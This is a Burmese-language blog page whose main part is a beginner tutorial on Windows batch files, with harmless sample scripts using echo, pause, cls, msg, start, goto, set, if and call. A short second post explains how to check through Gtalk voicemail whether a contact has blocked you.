ျပန္ရွင္းျပလုိက္ပါေနာ္…ကြ်န္ေတာ္ကိုယ္တုိင္ကလဲ စာေရးတာကို၀ါသနာ ပါေပမဲ့ စာေရးဆရာ
မဟုတ္လုိ့ စာဖတ္သူတုိ ့ ကသိကေအာင့္ ျဖစ္ရင္ ခြင့္လြတ္ေပး ပါ..:)
ကဲစၿပီး ေဆြးေႏြးၾကည့္ေပးပါ့မယ္။
bat မွာ ပါ၀င္မႈအမ်ားဆုံးန႔ဲ အေၿခခံ အက်ဆုံးေလးေတကြ ို စၿပီးေဆးြ ေႏြးၾကည့္ရေအာင္
အေၿခခံအက်ဆုံး command ၃ ခုကေတာ့
(၁) echo
(၂) @echo off/on န႔ဲ
(၃) pause စတာေတြဘဲၿဖစ္ပါတယ္
www.kmdstudents.wall.fm rapperlay444@gmail.com
ပထမဆုံးအေနန႔ဲ ဥပမာေလး တစ္ခုေရးၾကည့္ပါမယ္
@echo off
echo Hello, Welcome to www.kmdstudents.wall.fm
pause
အဒဲ ါေလးကို ေစ်းအၾကီးဆုံး Windows Tool တစ္ခုၿဖစ္တ့ဲ notepad မွာ ေရးၿပီးေတာ့ test1.bat
ဆိုၿပီးသိမ္းလိုက္ပါ။ :P
ၿပီးရင္ေတာ့ Run လိုက္ပါ။ အမေဲ ရာင္ Screen ထမဲ ွာ ေအာက္မွာ ၿပထားတ့အဲ တိုင္း
ေပၚလာလိမ့္မယ္..:)
ခုနက ဥပမာေလးမွာ echo off အစား echo on သံုးၿပီးေတာ့ ဘာမ်ားထူးၿခားမလဲဆုိတာ ေအာက္က
Code ေလးကိုစမ္းေရးၾကည့္ရေအာင္
@echo on
echo Hello, Welcome to www.kmdstudents.wall.fm
pause
ၿပီးရင္ေတာ့ ခုနကအတုိင္း notepad မွာ ေရးၿပီး test2.bat ဆုိၿပီးသိမ္းၿပီး ၿပန္ Run လုိက္ပါ…
ေအာက္မွာ ၿပထားတ့ဲ အတိုင္း ၿမင္ရပါလိမ့္မယ္။
www.kmdstudents.wall.fm rapperlay444@gmail.com
အဲလိုၿမင္ရပါလိမ့္မယ္။ C:\Documents and Setting\… စတာေတြကေတာ့ တင္ထားတဲ့ Windows ၊
File ဖ႔စဲြ ည္းပုံေတေြ ပၚမူတည္ၿပီး ကၿဲြပားပါလိမ့္မယ္။
အခု အေပၚမွာ ခုနကေရးထားတဲ့ Code ေလးေတြကိုရွင္းၿပေပးပါ့မယ္
က်ြန္ေတာ္တို႔ ဒုတိယေရးလိုက္တ့ဲ code မွာဆိုရင္ @echo on ကိုသုံးလိုက္တ့ဲ အတကြ ္ File
ထားရာလမ္းေၾကာင္းက Program Code တစ္ခါ Run တုိင္းလာၿပေနပါတယ္။
အကယ္လို႔မ်ား ပထမစစခ်င္းမွာ ေရးခ့တဲ ့ဲ @echo off ကို သုံးထားမယ္ဆိုရင္ေတာ့ မည္သည့္
လမ္းေၾကာင္းကိုမွ်မေပၚေစဘနဲ ႔ဲ ကိုယ္လိုခ်င္တ့ဲ စာသားကို ရွင္းလင္းစြာေပၚေစမွာၿဖစ္ပါတယ္။
အဒဲ ါကိုၾကည့္ခ်င္းအားၿဖင့္ @echo on န႔ဲ off ရဲ႕ ၿခားနားခ်က္ကို သိနိုင္ၿပီးေတာ့ @echo off ကို
သံုးတာ ပိုေကာင္းတယ္ဆုိတာကိုနားလည္သြားမယ္ထင္ပါတယ္။
ေနာက္တစ္ဆင့္အေနန႔ဲ echo အေၾကာင္းရွင္းၿပပါ့မယ္
က်ေနာ္တုိ႔ဟာ ရိုးရိုး စာေၾကာင္းတစ္ေၾကာင္းေလာက္ကိုProgram Run တုန္းၿပခ်င္တယ္ဆုိရင္
(ဥပမာ ခုနက Program ထဲကလုိ“Hello, Welcome to www.kmdstudents.wall.fm” ဆုိတဲ့
simple phrase တစ္ခုေလာက္ကိုဘဲ ၿပခ်င္တယ္ဆုိရင္ေတာ့ echo ကိုေဖာ္ၿပခ်င္တ့ဲစာသားေရွ႕မွာ
ထားၿပီးေရးနုိင္ပါတယ္.
အခု pause အေၾကာင္းရွင္းၿပေပးပါမယ္
pause ဆုိတာကေတာ့ ရပ္တာပါ (အဲဒါကေတာ့ မင္းေျပာမွလား ဆုိျပီးေတာ့ မေျပာလုိက္နဲ့ေနာ္..:P)
batch file ကို run ေနရင္းန႔ဲ ခဏနားခ်င္ရင္ pause ကို သုံးပါတယ္။ သူ႔ကိုသုံးရင္ batch file က
က်ေနာ္တုိ႔ဆီက key တစ္ခုခု မႏွိပ္မခ်င္း အလုပ္မလုပ္ေတာ့ပါဘူး။ key
www.kmdstudents.wall.fm rapperlay444@gmail.com
တစ္ခုခုႏွိပ္လိုက္မယ္ဆုိရင္ေတာ့ သူလုပ္စရာရိွတာဆက္လုပ္သြားပါလိမ့္မယ္။ ခုနက Program ၂
ခုမွာ ဆုိရင္ေတာ့ pause ၿပီးေတာ့ ဘာမွ ဆက္မေရးထားလို႔ဘာအလုပ္မွ ဆက္လုပ္မွာ မဟုတ္ဘဲ
program ကေန ထြက္သြားမွာၿဖစ္ပါတယ္။
pause ကိုထပ္မံနားလည္ေစဖို႔ ေအာက္က ဥပမာေလးကိုေလ့လာၾကည့္ပါမယ္
@echo off
echo Hello Welcome to KMD Computer Centres
pause
echo I am testing pause function
pause
အဲဒါကိုအေပၚက ဥပမာေတြ အတိုင္း Save ၿပီး Run ရင္ေတာ့ အေၿဖအတုိင္းေဖာ္ၿပပါလိမ့္မယ္
အဲဒီ့ Program ေလးကိုစမ္းၿပီးရင္ေတာ့ pause ကိုနားလည္သြားေလာက္ၿပီထင္ပါတယ္။
အခုေနာက္ထပ္ နည္းနည္း အဆင့္ၿမင့္တ့ဲ Command ေတကြ ို ေလ့လာၾကည့္ရေအာင္
msg န႔ဲ cls အေၾကာင္းကို အရင္ေလ့လာၾကည့္ပါမယ္
အရင္အတိုင္း ဥပမာေလးေတနြ ႔ဲ ေလ့လာၾကည့္ရေအာင္
Notepad ကိုၿပန္ဖြင့္ၿပီးေတာ့ ေအာက္က Code ေလးေတြကိုရိုက္ထည့္ၾကည့္ပါမယ္….
www.kmdstudents.wall.fm rapperlay444@gmail.com
@echo off
echo Hello I am Zin Ko Oo
pause
cls
echo I am testing cls and msg commands
msg * Bye Bye. See you online. My mail is rapperlay444@gmail.com
pause
ၿပီးရင္ေတာ့ test3.bat န႔ဲ သိမ္းၿပီး Run လိုက္ပါ
သူ႔အေၿဖကေတာ့ ေအာက္ပါအတိုင္းၿဖစ္ပါလိမ့္မယ္
(မွတ္ခ်က္၊၊ ၊၊ ဒီေနရာ ေရာက္လို႔ အကယ္လို႔မ်ား က်ေနာ္တို႔ဟာ သူေၿပာတ့ဲ အတိုင္း key တစ္ခုခုကို
ႏွိပ္လိုက္မယ္ဆုိရင္ program က cls ဆုိတဲ့ command ရဲ႕ အလုပ္ကိုဆက္လုပ္မွာ ၿဖစ္ပါတယ္။
အလဲ ို လုပ္မယ္ဆိုရင္ေတာ့ ခုနက ေပၚခ့တဲ ့ဲ Hello I am Zin Ko Oo ဆိုတာၾကီးက
ေပ်ာက္သြားမွာၿဖစ္ပါတယ္။
ၿပီးရင္ cls ရဲ႕ ေအာက္က echo ဆုိတဲ့ command အတြက္အလုပ္လုပ္ပါလိမ့္မယ္…key တစ္ခုခုကို
ႏွိပ္လုိက္တယ္လို႔သေဘာထားၿပီး ဆက္ၾကည့္ၾကရေအာင္….အခုဆုိရင္ေတာ့ ေအာက္မွာ ၿပထားတဲ့
အတုိင္းျဖစ္ေနပါျပီ…
www.kmdstudents.wall.fm rapperlay444@gmail.com
(ဒီစာေပၚၿပီးတာန႔ဲ message box တစ္ခုက်လာပါလိမ့္မယ္)
နားလည္ပါ့မလားေတာ့မသိဘူး..ကြ်န္ေတာ္ကေတာ့ အတတ္နုိင္ဆံုး ေတာ့ရွင္းျပထားတာပဲ…
အဒဲ ီ့ေတာ့ cls န႔ဲ msg ကို ဘယ္လိုနားလည္လိုက္ပါသလဲ….
အစ္ကို၊ အစ္မ တို႔ဘယ္လိုနားလည္လဲေတာ့မသိဘူး ၊ ကြ်န္ေတာ္ေၿပာၿပခ်င္တာကေတာ
့-cls ဆုိတာရဲ႕ အရွည္ေကာက္က Clear Screen ပါ (သူငယ္ခ်င္းတုိ့သိၾကမွာပါ..:P ၊
ကနြ ္ပ်ဴတာကိုင္ဖူးရင္ေတာင္ သိပါတယ္) သူက Screen မွာရိွတ့ဲ စာသားေတကြ ို ရွင္းထုတ္
(ဖ်က္ထုတ္) ေပးရံုသက္သက္ပါ။
-msg ဆုိတာကေတာ့ Message ရဲ႕ အတုိေကာက္ၿဖစ္ၿပီးေတာ့ သူက User ကိုMessage Box
တစ္ခုခ်ေပးတာၿဖစ္ပါတယ္။ GUI ေလးန႔ေဲ ပါ့…
ေနာက္ထပ္ Command ေတြ အေၾကာင္းဆက္ေလ့လာလုိက္ရေအာင္….
အခုတစ္ခါရွင္းၿပခ်င္တာကေတာ့ rem နဲ႔ start ဆုိတာေလးေတြပါ…
အဲဒါေတြကိုစမ္းဖို႔အတြက္Folder တစ္ခုကိုTest ဆုိတဲ့ နာမည္နဲ႔ ေဆာက္ေပးပါ…
ၿပီးရင္ အဲဒီ့ထဲကိုစိတ္ၾကိဳက္ပံုတစ္ပံုထည့္ၿပီးေတာ့ testpic ဆုိတဲ့ နာမည္ေပးလိုက္ပါ…
www.kmdstudents.wall.fm rapperlay444@gmail.com
ေနာက္တစ္ဆင့္အေနန႔ဲ Notepad ကို ဖငြ ့္ၿပီး ေအာက္မွာရိွတ့ဲ Coding ေတြကို ရိုက္ထည့္ေပးပါ…
@echo off
echo We are testing start and rem
rem title Test4
start testpic.jpg
pause
ၿပီးရင္ေတာ့ test4.bat ဆိုၿပီး ခုနက Test ဆုိတဲ့ Folder ထဲမွာ save ၿပီး Run လုိက္ပါ. ေအာက္မွာ
ၿပထားတဲ့ အတုိင္းၿမင္ရပါလိမ့္မယ္။
(key တစ္ခုကိုထပ္ႏွိပ္လုိက္ရင္ ခုနက စိတ္ၾကိဳက္ေရြးၿပီးေတာ့ ထည့္ထားတဲ့ testpic.jpg ကို
ၿမင္ရမွာပါ။ ပံုရဲ႕ extension ကိုေကာ ေရြးလိုက္တဲ့ပံုေပၚမူတည္ၿပီး .png ၊ .gif ၊ .jpg
စသည္ၿဖင့္ကြဲပါလိမ့္မယ္)
အဲဒါဆုိရင္ေတာ့ အေပၚက Program ကိုနားလည္ၿပီထင္ပါတယ္။
-start ဆုိတာကေတာ့ စိတ္ၾကိဳက္file တစ္ခုကိုေခၚ run ေပးတာၿဖစ္ပါတယ္။ သူ႔အေနာက္မွာ ဘာမွ
မပါဘနဲ ႔ဲ start သီးသန္႔ ေရးခ့မဲ ိရင္ေတာ့ ေနာက္ထပ္ အမည္းေရာင္ screen ေပၚလာမွာၿဖစ္ပါတယ္။
-rem ဆုိတာက တကယ္ေတာ့ remark ကိုေခၚတာပါ. ဒါေပမယ့္သူက bat file run ေနတုန္းမွာ
မၿမင္ရတတ္ပါဘူး. (ဘယ္အခ်ိန္ၿမင္ရလည္းေတာ့ ကြ်န္ေတာ္လည္းမသိဘူး သိခ်င္ရင္ေတာ့
ရွာလိုက္ၾကေပါ့ေနာ္ ျပီးရင္ကြ်န္ေတာ့္ကိုလဲ ျပန္ေျပာျပေနာ္..:P)
အခု goto ၊ set န႔ဲ if ကို ရွင္းပါေတာ့မယ္…
www.kmdstudents.wall.fm rapperlay444@gmail.com
အခုမွစေလ့လာသူေတြအတြက္ဒီအပိုင္းက နည္းနည္းစၿပီးေတာ့ ရႈပ္လာမွာၿဖစ္လို႔ေသခ်ာေလး
လိုက္လုပ္ၾကည့္ေစခ်င္ပါတယ္။
ေအာက္မွာေပးထားတ့ဲ Code ေတကြ ို Notepad ထမဲ ွာ ရိုက္ထည့္လိုက္ပါ…
@echo off
echo This is a testing program
echo If you want to see 2+2, type 1 and press enter
echo If you want to see a picture, type 2 and press enter
set /p option=
if ‘%option%’==’1′ goto :math
if ‘%option%’==’2′ start testpic.jpg
:math
echo 2+2
pause
ၿပီးရင္ေတာ့ ခုနက Folder ထဲမွာဘဲ test5.bat ဆုိၿပီး save ၿပီးရင္ Run ပါမယ္။
Run လိုက္ရင္ေတာ့ ေအာက္မွာ ၿပထားတ့ဲ အတိုင္းၿပပါလိမ့္မယ္…
(ဒီအဆင့္ကို ေရာက္ရင္ေတာ့ 1 န႔ဲ 2 နွစ္ခုထကဲ ၾကိဳက္ရာတစ္ခုကို ေရြးနိုင္ပါတယ္)
www.kmdstudents.wall.fm rapperlay444@gmail.com
(၁ ကိုေရြးမယ္ဆုိရင္ေတာ့ ေအာက္က 2+2 ဆုိတာကိုၿပေပးပါလိမ့္မယ္)
(၂ ကို ေရးြ ခ့မဲ ယ္ဆိုရင္ေတာ့ ထည့္ထားတ့ဲ စိတ္ၾကိဳက္ပုံေလးထကြ ္လာပါလိမ့္မယ္…)
(ၿပီးရင္ေတာ့ ထုံးစံအတုိင္း Press any ….. ပါဗ်ာ )
အေပၚကရလာတ့ဲ အေၿဖကို ၾကည့္ပါ ၿပီးရင္ မူရင္း coding ကို ၿပန္ၾကည့္ၾကည့္ပါ…
goto ရဲ႕ အလုပ္လုပ္ပံုကိုနားလည္လာပါလိမ့္မယ္။ goto ဆုိတာကေတာ့ Coding ထဲမွာပါမယ့္
နာမည္တစ္ခုေပးထားတဲ့ program အပိုင္းေလးတစ္ခုဆီကိုညႊန္းခ်င္ရင္သံုးပါတယ္။
(အၿခား Programming Language အေနန႔ဲ ဆိုရင္ Function ေတြ Procedure ေတကြ ို ေခၚတ့ဲ
အလုပ္လုပ္ပါတယ္/ သူငယ္ခ်င္းတုိ့သင္ဖူး၊ၾကားဖူးမွာပါ.. Procedure call တာေလ..:P)
အေပၚက Program ထဲမွာဆုိရင္ က်ေနာ္တုိ႔ဟာ :Math ဆိုတာကိုသံုးခဲ့တာေတြ႕မွာပါ…
အဒဲ ီ့ Math ေအာက္မွာ ေရးထားတ့ဲ ဟာေတအြ ားလုံးဟာ Math န႔ဲ ဆိုင္တာေတၿြဖစ္ပါတယ္။
အဲဒါဆုိရင္ goto :Math ဆုိၿပီးေရးလိုက္တဲ့ အခါမွာေတာ့ Program ရဲ႕ အလုပ္လုပ္ၿခင္းေတြဟာ
Math ဆီကိုေရာက္သြားၿပီး Math ရဲ႕ ကိစၥေတြကိုလုပ္ေဆာင္ပါလိမ့္မယ္။ ဒီေလာက္ဆုိgoto
အေၾကာင္းသိေလာက္ၿပီထင္ပါတယ္။
(မသိေသးရင္ လည္း ၿပန္ဖတ္ေပါ့. နားမလည္ရင္ေတာ့ တၿခားသူကိုcomment
ေပးျပီးေမးလုိက္ေနာ္…ကြ်န္ေတာ္ အရည္အခ်င္းမရိွလို႔ ဒီေလာက္လြယ္တာကို
နားလည္ေအာင္မေရးနုိင္တာလုိ႔လည္း သတ္မွတ္လုိက္ပါ။ :P)
ခုနက Coding မွာပါတ့ဲ set န႔ဲ if ရ႕ဲ အေၾကာင္းစရွင္းပါေတာ့မယ္
သူတို႔၂ ခုကိုေရာၿပီးရွင္းမွာ ၿဖစ္ပါတယ္… နားလည္ေအာင္ ေသခ်ာဖတ္ေပးပါေနာ္...:)
set ဆုိတာကေတာ့ တစ္ခုခုကိုသတ္မွတ္တာပါ
www.kmdstudents.wall.fm rapperlay444@gmail.com
သူ႔ကိုေရးရမယ့္တကယ့္Syntax ကေတာ့
set variable=[string] ၿဖစ္ပါတယ္။
ဒါေပမယ့္ If န႔ဲ တဲြသုံးခ်င္တ့ဲ အခါမ်ိဳးတို႔ မွာေတာ့ set X စသည္ၿဖင့္ X တစ္လုံးတည္းကို Variable
ေၾကၿငာေလ့ရိွပါတယ္။ အလဲ ို ေၾကၿငာခ့တဲ ယ္ဆိုရင္ေတာ့ X ထကဲ ို ၾကိဳက္တဲ့ Variable
၀င္လာခြင့္ရိွပါတယ္။
Set အေၾကာင္းသိခ်င္ရင္ေတာ့ Run>>cmd>>set /? ဆုိၿပီးရိုက္ထည့္လိုက္ပါ.. ၿပီးရင္ေတာ့
ကိုယ့္ဟာကိုယ္ဆက္ဖတ္နုိင္ပါတယ္
ခုနက Program ကိုၿပန္ဆက္ပါမယ္…
က်ေနာ္ တို႔ခုနက Code ထဲမွာ set /p option= ဆိုၿပီးေတာ့ ေရးခဲ့ပါတယ္
အဲဒါကိုset choice ဆုိၿပီးေတာ့ အလြယ္ေၿပာင္းၿမင္ၾကည့္ရေအာင္ (/p ပါရင္ရႈပ္ေနမွာဆုိးလို႔ပါ..
ၿပီးေတာ့ ကြ်န္ေတာ္ကို္ယ္တုိင္လဲ ေသေသခ်ာခ်ာမသိေတာ့လုိ့ပါ…သိတဲ့သူေတြရွိရင္ လဲ
ျပန္ရွင္းျပေပးပါေနာ္…)
အေပၚက Program ကိ္ုset choice ဆုိၿပီး ေၿပာင္းေရးလိုက္ၿပီဆုိပါစုိ႔
ဒါဆိုရင္ အကယ္လို႔ က်ေနာ္တို႔သာ 1 ကို ရိုက္မယ္ဆိုရင္ choice ဆိုတ့ဲ variable ထကဲ ို 1
၀င္သြားပါလိမ့္မယ္။
ၿပီးရင္ေတာ့ ခုနကလိုဘဲ :Math ဆုိတဲ့ အလုပ္ကိုဆက္လုပ္ပါလိမ့္မယ္
အဲဒီ့ ၿပင္ေရးလိုက္တာေလးကိုေအာက္မွာ ၿပန္စမ္းေရးၾကည့္ရေအာင္
set choice
if ‘%choice%’==’1′ goto :math
ဒါဆုိရင္ေတာ့ အကယ္လို႔က်ေနာ္တို႔က 1 လုိ႔ရုိက္ထည့္ရင္ choice ထဲကို1 ၀င္မယ္ၿပီးရင္ေတာ့
Math ဆိုတ့ဲ function အလုပ္ကို လုပ္ပါလိမ့္မယ္.(if မွာပါတ့ဲ % ဆိုတာေတကြ ိုေတာ့
ကြ်န္ေတာ္ကိုယ္တုိင္လဲ မသိေတာ့လုိ့ခ်န္လွပ္ထားခဲ့ပါရေစ သိတဲ့သူရွိရင္လဲျပန္ရွင္းျပေပးပါေနာ္..:D)
အခုက Basic အပိုင္းဆုိေတာ့ အဲဒါေတြ မသိေသးးလဲ ကိစၥမရိွေသးပါဘူး….
www.kmdstudents.wall.fm rapperlay444@gmail.com
ဒီေလာက္ဆိုရင္ if ၊ set န႔ဲ goto ကို နားလည္သာြ းၿပီလို႔ထင္ပါတယ္
ဟုတ္ပါၿပီ အခုအခ်ိန္ထိက်ေနာ္ရွင္းလာသမွ်အားလုံးဟာ အလြယ္တကာ့ အလြယ္ဆုံး
အေၿခခံမ်ားၿဖစ္ပါတယ္..
Bat File သင္ခန္းစာ ၂ (Advance Level)
ကဲ..အခုလာမွာက ခုနက သင္ခန္းစာရ့ဲ အဆက္ေပါ့.. ကို္ယ့္ကို ကို Advance Level ေရာက္သာြ းျပီလို
့သေဘာထားလိုက္ေနာ္…:P
ကဲ..အခုကေန စျပီး စေဖာပါေတာ့မယ္.အဲဟုတ္ပါ၀ူး..စေျပာပါေတာ့မယ္…:D
အခု ကြ်န္ေတာ္ ပထမဆုံး စေၿပာခ်င္တာကေတာ့ call နဲ႔ exit တုိ႔အေၾကာင္းၿဖစ္ပါတယ္။
အရင္တေခါက္ကလိုဘဲ Notepad ထသဲ ာြ းၿပီးေတာ့ ေအာက္မွာ ရိွတ့ဲ Code ေတကြ ို
ရိုက္ထည့္လိုက္ပါ။
@echo off
echo Wow.. I am very sleepy. Now, It’s 2:30 AM.
call call.bat
pause
exit
ၿပီးရင္ေတာ့ Folder အသစ္တစ္ခုတည္ေဆာက္ၿပီး အဲဒါကိုadv1.bat ဆုိတဲ့နာမည္နဲ႔ သိမ္းလိုက္ပါ။
ေနာက္တစ္ခါ Notepad ကို ၿပန္ဖငြ ့္ပါ။ ၿပီးရင္ ေအာက္မွာ ရိွတ့ဲ Code ကို ထပ္ရိုက္ပါ။
www.kmdstudents.wall.fm rapperlay444@gmail.com
@echo off
echo I Love *You* (ဒီ post ကိုဖတ္တဲ့ ေကာင္မေလးေတြကိုေျပာတာ မဟုတ္၀ူးေနာ္..:D)
pause
ၿပီးရင္ေတာ့ ခုနက Save ထားတဲ့ adv1.bat နဲ႔ တူတူFolder ထဲမွာ call.bat ဆုိတဲ့နာမည္နဲ႔ Save
လုိက္ပါ။
ေနာက္တစ္ဆင့္အေနန႔ဲ ပထမေရးထားတ့ဲ adv1.bat ဆိုတာကို Run လိုက္ပါ။
ေအာက္မွာ ၿပထားတ့ဲ အတိုင္း Screen မွာ ေပၚလာပါလိမ့္မယ္။
အဲဒါကိုၾကည့္ခ်င္းအားၿဖင့္ exit က ဘာအလုပ္လုပ္တယ္ဆုိတာ သိမွာပါေနာ္..
ေနာက္တစ္ခုအေနန႔ဲ call ပါ… call ဆိုတာကေတာ့ ေနာက္ထပ္ batch file တစ္ခုကို ေခၚသုံးတာပါ။
ဒီေလာက္ဆို call န႔ဲ exit အေၾကာင္းသိေလာက္ၿပီထင္ပါတယ္။
ကြ်န္ေတာ္လဲ အဲေလာက္ပဲ သိတာ မုိ ့လို့ အဲေလာက္ပဲတင္ျပေပးလုိက္တာပါ..ဖတ္ေပးတဲ့သူေတြအား
လံုးကိုလဲ ေက်းဇူးတင္ပါတယ္….ေနာက္ထပ္ post ေကာင္းေကာင္းေလးေတြ ထပ္တင္နုိင္ေအာင္လဲ
ၾကိဳးစားသြားမွာပါ…
အားလံုးကိုခင္မင္လ်က္..
Zin Ko Oo

Monday, March 11, 2013

2. Galk မွာ ကိုယ့္ကို ဘယ္သူေတြ block လုပ္ထားသလဲ... စမ္းသပ္နည္း....




Gtalk မွာ ကိုယ္ မ chat ခ်င္တဲ့/မေက်နပ္တဲ့ သူကို block လုပ္လို႔ရတယ္ဆိုတာ
Aားလံုးသိၿပီးသား ျဖစ္မွာပါ။
ကိုယ္ block လုပ္ခ်င္တဲ့သူရဲ႕ ID ေပၚမွာ right-click လုပ္ၿပီး block ကို ေရြးလိုက္ရံုပါပဲ။
ကိုယ့္ဘက္မွာ AဲဒီID ေပ်ာက္သြားၿပီး၊ သူ႔ဘက္မွာေတာ့ ကိုယ္က offline ျဖစ္ေနမွာပါ။
(သူမ်ားကိုသာ block လုပ္ခ်င္တာ...ကိုယ့္ကို block လုပ္တာကိုေတာ့
သိပ္ေက်နပ္တာမဟုတ္ဘူး။ ဟုတ္တယ္မဟုတ္လား..။ )
Aဲဒီေတာ့ ကိုယ့္ကို block လုပ္ထား/မထားကို စစ္ၾကည့္လို႔ရပါတယ္။
ပထမဆံုး ကိုယ္သိခ်င္တဲ့သူကို ေရြးပါ..ၿပီး.. 'Send voicemail' button ကိုႏွိပ္ၿပီး call
လုပ္လိုက္ပါ။
(သူ႔ကို offline Aေနနဲ႔ပဲျမင္ရမွာမို႔ AဲဒီAခ်ိန္မွာ 'Send voicemail' button ပဲေပၚေနမွာပါ။)
မိန္းကေလးသံနဲ႔ 'The person you are trying to reach is unavailable. Please leave a
message...' ဆိုတဲ့ Aသံမ်ိဳး ၾကားရရင္ေတာ့ ကိုယ့္ကို block လုပ္မထားပါဘူး။
တကယ့္ကို offline ျဖစ္ေနတာပါ။
Aဲလိုမဟုတ္ပဲ ေခၚလိုက္တာနဲ႔က် က်သြားတယ္၊
ဘာသံမွလည္းမၾကားရဘူးဆိုရင္ေတာ့...
စိတ္မေကာင္းပါဘူး...သင့္ကို block လုပ္ထားတာပါ...
ကဲ...ကိုယ့္ကို ဘယ္သူေတြ block လုပ္ထားသလဲသိခ်င္ရင္ စမ္းၾကည့္လိုက္ပါလား...။
သိလာပါလိမ္႕မယ္....။